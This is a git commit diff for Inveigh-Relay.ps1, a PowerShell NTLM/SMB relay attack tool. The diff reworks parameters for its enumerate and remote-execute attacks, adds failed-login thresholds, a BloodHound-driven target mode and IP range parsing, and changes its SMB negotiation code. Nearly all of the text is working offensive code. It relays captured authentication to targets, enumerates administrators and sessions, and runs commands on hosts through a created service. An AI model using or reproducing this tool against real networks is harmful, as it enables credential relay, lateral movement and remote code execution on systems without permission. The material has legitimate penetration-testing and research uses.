Final 1.4 Dev Version

Added ConvertTo-Inveigh (powershell 3+) for importing BloodHound JSON files for Inveigh Relay. Lots of updates and bug fixes.

5 files changed, 2086 insertions, 10712 deletions

diff --git a/Inveigh-Relay.ps1 b/Inveigh-Relay.ps1
index 9b61ff7..753cc9f 100644
--- a/Inveigh-Relay.ps1
+++ b/Inveigh-Relay.ps1
@@ -37,17 +37,22 @@ Default = Enabled: (Y/N) Enable/Disable displaying challenge/response hashes for
 and username combinations when real time console output is enabled.
 
 .PARAMETER Enumerate
+Default = All: (All/Group/NetSession/Share/User) The action that will be used for the 'Enumerate' attack.
 
 .PARAMETER EnumerateGroup
-
-.PARAMETER EnumerateRepeat
+Default = Administrators: The group that will be enumerated with the 'Enumerate' attack. Note that only the
+'Administrators' group will be used for targeting decisions.
 
 .PARAMETER Execute
 Command to execute on relay target. Use PowerShell character escapes where necessary.
 
-.PARAMETER ExecuteRepeat
+.PARAMETER FailedLoginStrict
+Default = Disabled: If disabled, login attempts against non-domain attached will not count as failed logins. If enabled, all
+failed logins will count.
 
-.PARAMETER FailedAuthLimit
+.PARAMETER FailedLoginThreshold
+Default = 2: The threshold for failed logins. Once failed logins for a user exceed the threshhold, further relay attempts for that
+user will be stopped.
 
 .PARAMETER FileOutput
 Default = Disabled: (Y/N) Enable/Disable real time file output.
@@ -83,14 +88,6 @@ Default = localhost: The subject field for the cert that will be installed for H
 Default = Disabled: (Y/N) Force deletion of an existing certificate that matches HTTPSCertIssuer and
 HTTPSCertSubject.
 
-.PARAMETER HTTPResetDelay
-Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers
-will have a delay before their connections are reset when Inveigh doesn't receive data. This can increase the
-chance of capturing/relaying authentication through a popup box with some browsers (Firefox).
-
-.PARAMETER HTTPResetDelayTimeout
-Default = 30 Seconds: HTTPResetDelay timeout in seconds.
-
 .PARAMETER LogOutput
 Default = Enabled: (Y/N) Enable/Disable storing log messages in memory.
 
@@ -109,7 +106,7 @@ Default = Disabled: (Y/N): Enable/Disable relaying proxy authentication.
 Default = Any: IP address for the proxy listener.
 
 .PARAMETER ProxyPort
-Default = 8182: TCP port for the proxy listener.
+Default = 8492: TCP port for the proxy listener.
 
 .PARAMETER ProxyIgnore
 Default = Firefox: Comma separated list of keywords to use for filtering browser user agents. Matching browsers
@@ -126,6 +123,12 @@ target.
 .PARAMETER RelayAutoExit
 Default = Enable: (Y/N) Enable/Disable automaticaly exiting after a relay is disabled due to success or error.
 
+.PARAMETER RepeatEnumerate
+Default = 30 Minutes: The minimum number of minutes to wait between enumeration attempts for a target.
+
+.PARAMETER RepeatExecute
+Default = 30 Minutes: The minumum number of minutes to wait between command execution attempts for a target. 
+
 .PARAMETER RunTime
 (Integer) Run time duration in minutes.
 
@@ -133,12 +136,16 @@ Default = Enable: (Y/N) Enable/Disable automaticaly exiting after a relay is dis
 Default = 20 Character Random: Name of the service to create and delete on the target.
 
 .PARAMETER SessionLimitPriv
+Default = 2: Limit of privileged sessions on a target.
 
 .PARAMETER SessionLimitShare
+Default = 2: Limit of sessions per user for targets hosting custom shares.
 
 .PARAMETER SessionLimitUnpriv
+Default = 0: Limit of unprivileged sessions on a target.
 
 .PARAMETER SessionRefresh
+Default = 10 Minutes: The number of minutes between refreshes to keep sessions from timing out.
 
 .PARAMETER ShowHelp
 Default = Enabled: (Y/N) Enable/Disable the help messages at startup.
@@ -151,18 +158,25 @@ Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages.
 
 .PARAMETER Target
 Comma separated list of IP addresses to target for relay. This parameter will accept single addresses, CIDR, or
-ranges on the format of 192.168.0.1-192.168.0.10. Avoid using hostnames for now. Also, avoid using large ranges
-with lots of unused IP addresses or systems not running SMB. Inveigh-Relay will do quick port checks as part of target
-selection and filter out invalid targets. Something like a /16 with only a few hosts isn't really practical though.
+ranges on the format of 192.168.0.1-192.168.0.10 or 192.168.0.1-10. Avoid using large ranges with lots of unused
+IP addresses or systems not running SMB. Inveigh-Relay will do quick port checks as part of target selection and
+filter out invalid targets. Something like a /16 with only a few hosts isn't really practical though.
 
 .PARAMETER TargetExclude
-Comma separated list of IP addresses to exlude from the target list. This parameter will accept single addresses,
-CIDR, or ranges on the format of 192.168.0.1-192.168.0.10.
+Comma separated list of IP addresses to exlude from the target list. This parameter will accept the same formats as
+the 'Target' parameter.
+
+.PARAMETER TargetMode
+Default = Random: (Random/Strict) 'Random' target mode will fall back to selecting a random target is a match
+isn't found through enumerated data. 'Strict' will only select targets through enumerated data. Note that
+'Strict' requires either previously collected data from the 'Enumerate' attack or data imported from
+BloodHound.
 
 .PARAMETER TargetRandom
-Default = Enabled: (Y/N) Enable/Disable selecting a random target is a target is not found through logic.
+Default = Enabled: (Y/N) Enable/Disable selecting a random target if a target is not found through logic.
 
 .PARAMETER TargetRefresh
+Default = 60 Minutes: Number of minutes to wait before rechecking a target for eligibility.
 
 .PARAMETER Tool
 Default = 0: (0/1/2) Enable/Disable features for better operation through external tools such as Meterpreter's
@@ -200,18 +214,16 @@ param
     [parameter(Mandatory=$false)][ValidateSet("All","NetSession","Share","User","Group")][String]$Enumerate = "All",
     [parameter(Mandatory=$false)][ValidateSet("Random","Strict")][String]$TargetMode = "Random",
     [parameter(Mandatory=$false)][String]$EnumerateGroup = "Administrators",
-    [parameter(Mandatory=$true)][Array]$Target = "",
+    [parameter(Mandatory=$false)][Array]$Target = "",
     [parameter(Mandatory=$false)][Array]$TargetExclude = "",
-    [parameter(Mandatory=$false)][Array]$HTTPResetDelay = "Firefox",
     [parameter(Mandatory=$false)][Array]$ProxyIgnore = "Firefox",
     [parameter(Mandatory=$false)][Array]$Username = "",
     [parameter(Mandatory=$false)][Array]$WPADAuthIgnore = "",
     [parameter(Mandatory=$false)][Int]$ConsoleQueueLimit = "-1",
     [parameter(Mandatory=$false)][Int]$ConsoleStatus = "",
-    [parameter(Mandatory=$false)][Int]$FailedAuthLimit = "2",
+    [parameter(Mandatory=$false)][Int]$FailedLoginThreshold = "2",
     [parameter(Mandatory=$false)][Int]$HTTPPort = "80",
     [parameter(Mandatory=$false)][Int]$HTTPSPort = "443",
-    [parameter(Mandatory=$false)][Int]$HTTPResetDelayTimeout = "30",
     [parameter(Mandatory=$false)][Int]$ProxyPort = "8492",
     [parameter(Mandatory=$false)][Int]$RunTime = "",
     [parameter(Mandatory=$false)][Int]$SessionLimitPriv = "2",
@@ -219,13 +231,14 @@ param
     [parameter(Mandatory=$false)][Int]$SessionLimitUnpriv = "0",
     [parameter(Mandatory=$false)][Int]$SessionRefresh = "10",
     [parameter(Mandatory=$false)][Int]$TargetRefresh = "60",
-    [parameter(Mandatory=$false)][Int]$RepeatEnumerate = "10",
-    [parameter(Mandatory=$false)][Int]$RepeatExecute = "10",
+    [parameter(Mandatory=$false)][Int]$RepeatEnumerate = "30",
+    [parameter(Mandatory=$false)][Int]$RepeatExecute = "30",
     [parameter(Mandatory=$false)][String]$Command = "",
     [parameter(Mandatory=$false)][String]$HTTPSCertIssuer = "Inveigh",
     [parameter(Mandatory=$false)][String]$HTTPSCertSubject = "localhost",
     [parameter(Mandatory=$false)][String]$Service,
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y",
+    [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FailedLoginStrict = "N",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y",
     [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y",
@@ -260,14 +273,26 @@ if ($invalid_parameter)
     throw
 }
 
+if($inveigh.relay_running)
+{
+    Write-Output "[-] Inveigh Relay is already running"
+    throw
+}
+
 $inveigh_version = "1.4 Dev"
 
+if(!$target -and !$inveigh.enumerated_data)
+{
+    Write-Output "[-] No enumerated target data, specify targets with -Target"
+    throw
+}
+
 if($ProxyIP -eq '0.0.0.0')
 {
 
     try
     {
-    $proxy_WPAD_IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
+        $proxy_WPAD_IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
     }
     catch
     {
@@ -303,28 +328,21 @@ if(!$inveigh)
     $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList
     $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList
     $inveigh.POST_request_list = New-Object System.Collections.ArrayList
-    $inveigh.relay_user_failed_list = New-Object System.Collections.ArrayList
     $inveigh.valid_host_list = New-Object System.Collections.ArrayList
-    $inveigh.requested_host_list = New-Object System.Collections.ArrayList
-    $inveigh.requested_host_IP_list = New-Object System.Collections.ArrayList
-    $inveigh.DNS_list = New-Object System.Collections.ArrayList
-    $inveigh.relay_failed_auth_table = [HashTable]::Synchronized(@{})
+    $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{})
+    $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{})
     $inveigh.relay_history_table = [HashTable]::Synchronized(@{})
+    $inveigh.request_table = [HashTable]::Synchronized(@{})
     $inveigh.session_socket_table = [HashTable]::Synchronized(@{})
     $inveigh.session_table = [HashTable]::Synchronized(@{})
     $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{})
     $inveigh.session_lock_table = [HashTable]::Synchronized(@{})
+    $inveigh.SMB_session_table = [HashTable]::Synchronized(@{})
     $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{})
     $inveigh.group_table = [HashTable]::Synchronized(@{})
     $inveigh.session_count = 0
     $inveigh.session_list = @()
-    $inveigh.enumeration_data = @()
-}
-
-if($inveigh.relay_running)
-{
-    Write-Output "[-] Inveigh Relay is already running"
-    throw
+    $inveigh.enumerated_data = @()
 }
 
 $inveigh.stop = $false
@@ -402,7 +420,7 @@ if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's P
 {
     $inveigh.tool = 1
     $inveigh.output_stream_only = $true
-    $inveigh.newline = ""
+    $inveigh.newline = $null
     $ConsoleOutput = "N"
 }
 elseif($Tool -eq 2) # PowerShell Empire
@@ -410,7 +428,7 @@ elseif($Tool -eq 2) # PowerShell Empire
     $inveigh.tool = 2
     $inveigh.output_stream_only = $true
     $inveigh.console_input = $false
-    $inveigh.newline = ""
+    $inveigh.newline = $null
     $LogOutput = "N"
     $ShowHelp = "N"
 
@@ -438,12 +456,7 @@ elseif($Tool -eq 2) # PowerShell Empire
 else
 {
     $inveigh.tool = 0
-    $inveigh.newline = ""
-}
-
-if($inveigh.running)
-{
-    $inveigh.output_pause = $true
+    $inveigh.newline = $null
 }
 
 #endregion
@@ -604,14 +617,6 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y')
 
     }
 
-    $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()})
-
-    if($HTTPResetDelay.Count -gt 0)
-    {
-        $inveigh.output_queue.Add("[+] HTTP Reset Delay List = " + ($HTTPResetDelay -join ","))  > $null
-        $inveigh.output_queue.Add("[+] HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null
-    }
-
 }
 
 if($Proxy -eq 'Y')
@@ -641,23 +646,11 @@ if($Proxy -eq 'Y')
 
 $inveigh.output_queue.Add("[+] Relay Attack = " + ($Attack -join ",")) > $null
 
-if($Target.Count -eq 1)
-{
-    $inveigh.output_queue.Add("[+] Relay Target = " + ($Target -join ",")) > $null
-}
-elseif($Target.Count -gt 3)
-{
-    $inveigh.output_queue.Add("[+] Relay Targets = " + ($Target[0..2] -join ",") + "...") > $null
-}
-else
-{
-    $inveigh.output_queue.Add("[+] Relay Targets = " + ($Target -join ",")) > $null
-}
-
 # math taken from https://gallery.technet.microsoft.com/scriptcenter/List-the-IP-addresses-in-a-60c5bb6b
+
 function Convert-RangetoIPList
 {
-    param($IP,$CIDR,$Start,$End,[Switch]$Exclude)
+    param($IP,$CIDR,$Start,$End)
 
     function Convert-IPtoINT64
     { 
@@ -672,26 +665,28 @@ function Convert-RangetoIPList
     { 
         param ([int64]$int) 
         return (([math]::truncate($int/16777216)).tostring() + "." +([math]::truncate(($int%16777216)/65536)).tostring() + "." + ([math]::truncate(($int%65536)/256)).tostring() + "." +([math]::truncate($int%256)).tostring())
-    } 
+    }
+
+    $target_list = New-Object System.Collections.ArrayList
     
     if($IP)
     {
-        $IP_address = [Net.IPAddress]::Parse($IP)
+        $IP_address = [System.Net.IPAddress]::Parse($IP)
     }
 
     if($CIDR)
     {
-        $mask_address = [Net.IPAddress]::Parse((Convert-INT64toIP -int ([convert]::ToInt64(("1" * $CIDR + "0" * (32 - $CIDR)),2))))
+        $mask_address = [System.Net.IPAddress]::Parse((Convert-INT64toIP -int ([convert]::ToInt64(("1" * $CIDR + "0" * (32 - $CIDR)),2))))
     }
 
     if($IP)
     {
-        $network_address = New-Object Net.IPAddress ($mask_address.address -band $IP_address.address)
+        $network_address = New-Object System.Net.IPAddress ($mask_address.address -band $IP_address.address)
     }
 
     if($IP)
     {
-        $broadcast_address = New-Object Net.IPAddress (([Net.IPAddress]::parse("255.255.255.255").address -bxor $mask_address.address -bor $network_address.address))
+        $broadcast_address = New-Object System.Net.IPAddress (([System.Net.IPAddress]::parse("255.255.255.255").address -bxor $mask_address.address -bor $network_address.address))
     } 
     
     if($IP)
@@ -708,73 +703,119 @@ function Convert-RangetoIPList
     for($i = $start_address; $i -le $end_address; $i++) 
     { 
         $IP_address = Convert-INT64toIP -int $i
+        $target_list.Add($IP_address) > $null
+    }
 
-        if($Exclude)
-        {
-            $inveigh.target_exclude_list.Add($IP_address) > $null
-        }
-        else
-        {
-            $inveigh.target_list.Add($IP_address) > $null
-        }
+    if($network_address)
+    {
+        $target_list.Remove($network_address.IPAddressToString)
+    }
 
+    if($broadcast_address)
+    {
+        $target_list.Remove($broadcast_address.IPAddressToString)
     }
+    
+    return $target_list
+}
 
-    if($network_address)
+function Get-TargetList
+{
+    param($targets)
+
+    $target_list = New-Object System.Collections.ArrayList
+
+    for($i=0;$i -lt $targets.Count;$i++)
     {
 
-        if($Exclude)
+        if($targets[$i] -like "*-*")
         {
-            $inveigh.target_exclude_list.Remove($network_address.IPAddressToString)
-        }
-        else
-        {
-            $inveigh.target_list.Remove($network_address.IPAddressToString)
+            $target_array = $targets[$i].split("-")
+
+            if($target_array[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and
+            $target_array[1] -notmatch "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b")
+            {
+
+                if($target_array.Count -ne 2 -or $target_array[1] -notmatch "^[\d]+$" -or $target_array[1] -gt 254)
+                {
+                    Write-Output "[!] Invalid target $($target[$i])"
+                    throw
+                }
+                else
+                {
+                    $IP_network_begin = $target_array[0].ToCharArray()
+                    [Array]::Reverse($IP_network_begin)
+                    $IP_network_begin = -join($IP_network_begin)
+                    $IP_network_begin = $IP_network_begin.SubString($IP_network_begin.IndexOf("."))
+                    $IP_network_begin = $IP_network_begin.ToCharArray()
+                    [Array]::Reverse($IP_network_begin)
+                    $IP_network_begin = -join($IP_network_begin)
+                    $IP_range_end = $IP_network_begin + $target_array[1]
+                    $targets[$i] = $target_array[0] + "-" + $IP_range_end
+                }
+
+            }
+
         }
-        
+
     }
 
-    if($broadcast_address)
+    ForEach($entry in $targets)
     {
+        $entry_split = $null
 
-        if($Exclude)
+        if($entry.contains("/"))
         {
-            $inveigh.target_exclude_list.Remove($broadcast_address.IPAddressToString)
+            $entry_split = $entry.Split("/")
+            $IP = $entry_split[0]
+            $CIDR = $entry_split[1]
+            $target_list.AddRange($(Convert-RangetoIPList -IP $IP -CIDR $CIDR))
+        }
+        elseif($entry.contains("-"))
+        {
+            $entry_split = $entry.Split("-")
+
+            if($entry_split[0] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b" -and
+            $entry_split[1] -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b")
+            {
+                $start_address = $entry_split[0]
+                $end_address = $entry_split[1]
+                $target_list.AddRange($(Convert-RangetoIPList -Start $start_address -End $end_address))
+            }
+            else
+            {
+                $target_list.Add($entry) > $null    
+            }
+            
         }
         else
         {
-            $inveigh.target_list.Remove($broadcast_address.IPAddressToString)
+            $target_list.Add($entry) > $null
         }
 
     }
 
+    return $target_list
 }
 
-$inveigh.output_queue.Add("[*] Parsing Relay Target List") > $null
-
-ForEach($entry in $Target)
+if($Target)
 {
-    $entry_split = $null
 
-    if($entry.contains("/"))
+    if($Target.Count -eq 1)
     {
-        $entry_split = $entry.Split("/")
-        $IP = $entry_split[0]
-        $CIDR = $entry_split[1]
-        Convert-RangetoIPList -IP $IP -CIDR $CIDR
+        $inveigh.output_queue.Add("[+] Relay Target = " + ($Target -join ",")) > $null
     }
-    elseif($entry.contains("-"))
+    elseif($Target.Count -gt 3)
     {
-        $entry_split = $entry.Split("-")
-        $start_address = $entry_split[0]
-        $end_address = $entry_split[1]
-        Convert-RangetoIPList -Start $start_address -End $end_address
+        $inveigh.output_queue.Add("[+] Relay Targets = " + ($Target[0..2] -join ",") + "...") > $null
     }
     else
     {
-        $inveigh.target_list.Add($entry) > $null
+        $inveigh.output_queue.Add("[+] Relay Targets = " + ($Target -join ",")) > $null
     }
 
+    $inveigh.output_queue.Add("[*] Parsing Relay Target List") > $null
+    $inveigh.target_list = Get-TargetList $Target
 }
 
 if($TargetExclude)
@@ -794,33 +835,13 @@ if($TargetExclude)
     }
 
     $inveigh.output_queue.Add("[*] Parsing Relay Target Exclude List") > $null
+    $inveigh.target_exclude_list = Get-TargetList $TargetExclude
 
-    ForEach($entry in $TargetExclude)
+    if($inveigh.target_list -and $inveigh.target_exclude_list)
     {
-        $entry_split = $null
-
-        if($entry.contains("/"))
-        {
-            $entry_split = $entry.Split("/")
-            $IP = $entry_split[0]
-            $CIDR = $entry_split[1]
-            $IP_list += Convert-RangetoIPList -IP $IP -CIDR $CIDR -Exclude
-        }
-        elseif($entry.contains("-"))
-        {
-            $entry_split = $entry.Split("-")
-            $start_address = $entry_split[0]
-            $end_address = $entry_split[1]
-            $IP_list += Convert-RangetoIPList -Start $start_address -End $end_address -Exclude
-        }
-        else
-        {
-            $inveigh.target_exclude_list.Add($entry) > $null
-        }
-
+        $inveigh.target_list = Compare-Object -ReferenceObject $inveigh.target_exclude_list -DifferenceObject $inveigh.target_list -PassThru
     }
 
-    $inveigh.target_list = Compare-Object -ReferenceObject $inveigh.target_exclude_list -DifferenceObject $inveigh.target_list -PassThru
 }
 
 if($Username)
@@ -947,11 +968,11 @@ elseif($RunTime -gt 1)
 
 if($ShowHelp -eq 'Y')
 {
-    $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop manually") > $null
+    $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop") > $null
         
     if($inveigh.console_output)
     {
-        $inveigh.output_queue.Add("[*] Press any key to stop real time console output") > $null
+        $inveigh.output_queue.Add("[*] Press any key to stop console output") > $null
     }
 
 }
@@ -1016,6 +1037,7 @@ while($inveigh.output_queue.Count -gt 0)
 
 }
 
+$inveigh.status_output = $false
 $inveigh.netBIOS_domain = (Get-ChildItem -path env:userdomain).Value
 $inveigh.computer_name = (Get-ChildItem -path env:computername).Value
 
@@ -1036,11 +1058,6 @@ catch
     $inveigh.DNS_computer_name = $inveigh.computer_name
 }
 
-if($inveigh.running)
-{
-    $inveigh.output_pause = $false
-}
-
 #endregion
 #region begin script blocks
 
@@ -2046,7 +2063,7 @@ function New-PacketSRVSVCNetShareEnumAll
 $SMB_relay_functions_scriptblock =
 {
 
-    function SMBNTLMChallenge
+    function Invoke-SMBNTLMChallenge
     {
         param ([Byte[]]$payload_bytes)
 
@@ -2094,7 +2111,7 @@ $SMB_relay_functions_scriptblock =
                     }
 
                 }
-
+                
                 $target_info_index = $target_info_index + $target_info_item_length + 4
                 $target_info_item_type = $payload_bytes[$target_info_index]
                 $i++
@@ -2106,24 +2123,26 @@ $SMB_relay_functions_scriptblock =
                 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] Domain mapping added for $netBIOS_domain_name to $DNS_domain_name") > $null
             }
 
-            $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index
+            $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1
 
-            if($inveigh.enumeration_data | Where-Object {$_.IP -eq $target -and !$_.Hostname})
+            if($inveigh.enumerated_data | Where-Object {$_.IP -eq $target -and !$_.Hostname})
             {
-                $inveigh.enumeration_data[$target_index].Hostname = $DNS_computer_name
+                $inveigh.enumerated_data[$target_index].Hostname = $DNS_computer_name
+                $inveigh.enumerated_data[$target_index]."DNS Domain" = $DNS_domain_name
+                $inveigh.enumerated_data[$target_index]."netBIOS Domain" = $netBIOS_domain_name
             }
-            elseif($inveigh.enumeration_data[$target_index].Hostname -ne $DNS_computer_name)
+            elseif($inveigh.enumerated_data[$target_index].Hostname -ne $DNS_computer_name)
             {
 
-                if($inveigh.enumeration_data | Where-Object {$_.Hostname -eq $DNS_computer_name})
+                if($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $DNS_computer_name})
                 {
-                    $target_hostname_index = $inveigh.enumeration_data | Where-Object {$_.Hostname -eq $DNS_computer_name} | Select-Object -expand Index
-                    $inveigh.enumeration_data[$target_hostname_index].IP = $target
-                    $inveigh.enumeration_data[$target_index].IP = $null
+                    $target_hostname_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $DNS_computer_name} | Select-Object -expand Index
+                    $inveigh.enumerated_data[$target_hostname_index].IP = $target
+                    $inveigh.enumerated_data[$target_index].IP = $null
                 }
                 else
                 {
-                    $inveigh.enumeration_data += New-RelayEnumObject -IP $target -Hostname $DNS_computer_name -SMBServer $true -Targeted $(Get-Date -format s)
+                    $inveigh.enumerated_data += New-RelayEnumObject -IP $target -Hostname $DNS_computer_name -DNSDomain $DNSDomain -netBIOSDomain $netBIOSDomain -SMBServer $true -Targeted $(Get-Date -format s)
                 }
                 
             }
@@ -2135,8 +2154,9 @@ $SMB_relay_functions_scriptblock =
 
     function New-RelayEnumObject
     {
-        param ($IP,$Hostname,$Sessions,$AdministratorUsers,$AdministratorGroups,$Privileged,$Shares,$NetSessions,$NetSessionsMapped,
-        $LocalUsers,$SMB2,$Signing,$SMBServer,$Targeted,$Enumerate,$Execute)
+        param ($IP,$Hostname,$DNSDomain,$netBIOSDomain,$Sessions,$AdministratorUsers,$AdministratorGroups,
+            $Privileged,$Shares,$NetSessions,$NetSessionsMapped,$LocalUsers,$SMB2,$Signing,$SMBServer,$Targeted,
+            $Enumerate,$Execute)
 
         if($Sessions -and $Sessions -isnot [Array]){$Sessions = @($Sessions)}
         if($AdministratorUsers -and $AdministratorUsers -isnot [Array]){$AdministratorUsers = @($AdministratorUsers)}
@@ -2148,9 +2168,11 @@ $SMB_relay_functions_scriptblock =
         if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)}
 
         $relay_object = New-Object PSObject
-        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumeration_data.Count
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerated_data.Count
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "DNS Domain" $DNSDomain
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "netBIOS Domain" $netBIOSDomain
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Users" $AdministratorUsers
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Groups" $AdministratorGroups
@@ -2163,20 +2185,20 @@ $SMB_relay_functions_scriptblock =
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Signing" $Signing
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB Server" $SMBServer
         Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted
-        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumeration
-        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execution
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumerate
+        Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execute
         
         return $relay_object
     }
 
-    function SMBConnect
+    function Invoke-SMBConnect
     {
         param ($ProcessID,$SourceIP)
 
         function Test-SMBPort
         {
             param ($target)
-
+            
             $SMB_target_test = New-Object System.Net.Sockets.TCPClient
             $SMB_target_test_result = $SMB_target_test.BeginConnect($target,"445",$null,$null)
             $SMB_port_test_success = $SMB_target_test_result.AsyncWaitHandle.WaitOne(100,$false)
@@ -2191,15 +2213,15 @@ $SMB_relay_functions_scriptblock =
                 $SMB_server = $false    
             }
 
-            if($inveigh.enumeration_data | Where-Object {$_.IP -eq $target})
+            if($inveigh.enumerated_data | Where-Object {$_.IP -eq $target})
             {
-                $target_index = $inveigh.enumeration_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index
-                $inveigh.enumeration_data[$target_index]."SMB Server" = $SMB_server
-                $inveigh.enumeration_data[$target_index]."Targeted" = $(Get-Date -format s)
+                $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $target} | Select-Object -expand Index -First 1
+                $inveigh.enumerated_data[$target_index]."SMB Server" = $SMB_server
+                $inveigh.enumerated_data[$target_index]."Targeted" = $(Get-Date -format s)
             }
             else
             {
-                $inveigh.enumeration_data += New-RelayEnumObject -IP $target -SMBServer $SMB_server -Targeted $(Get-Date -format s)
+                $inveigh.enumerated_data += New-RelayEnumObject -IP $target -SMBServer $SMB_server -Targeted $(Get-Date -format s)
             }
 
             return $SMB_port_test_success
@@ -2209,15 +2231,15 @@ $SMB_relay_functions_scriptblock =
         {
             param ($Target)
 
-            $SMB_client = New-Object System.Net.Sockets.TCPClient
-            $SMB_client.Client.ReceiveTimeout = 60000
-            $SMB_client.Connect($target,"445")
+            $client = New-Object System.Net.Sockets.TCPClient
+            $client.Client.ReceiveTimeout = 60000
+            $client.Connect($target,"445")
 
             try
             {
-                $SMB_client_stream = $SMB_client.GetStream()
+                $client_stream = $client.GetStream()
                 $stage = 'NegotiateSMB'
-                $SMB_client_receive = New-Object System.Byte[] 1024
+                $client_receive = New-Object System.Byte[] 1024
             }
             catch
             {
@@ -2238,17 +2260,17 @@ $SMB_relay_functions_scriptblock =
                         $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()    
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
+                        $client_stream.Write($client_send,0,$client_send.Length) > $null
+                        $client_stream.Flush()    
+                        $client_stream.Read($client_receive,0,$client_receive.Length) > $null
 
-                        if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42')
+                        if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42')
                         {
                             $SMB2 = $false
                             $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Negotiated SMB1 not supported") > $null
                             $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Trying anonther target") > $null
-                            $SMB_client.Close()
+                            $client.Close()
                             $stage = 'Exit'
                         }
                         else
@@ -2257,12 +2279,12 @@ $SMB_relay_functions_scriptblock =
                             $stage = 'NegotiateSMB2'
                         }
 
-                        if($target -and [System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03')
+                        if($target -and [System.BitConverter]::ToString($client_receive[70]) -eq '03')
                         {        
                             $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Signing is required on $target") > $null
                             $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Trying another target") > $null
                             $signing = $true
-                            $SMB_client.Close()
+                            $client.Close()
                             $stage = 'Exit'
                         }
                         else
@@ -2283,10 +2305,10 @@ $SMB_relay_functions_scriptblock =
                         $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
                         $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
                         $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()    
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
+                        $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
+                        $client_stream.Write($client_send,0,$client_send.Length) > $null
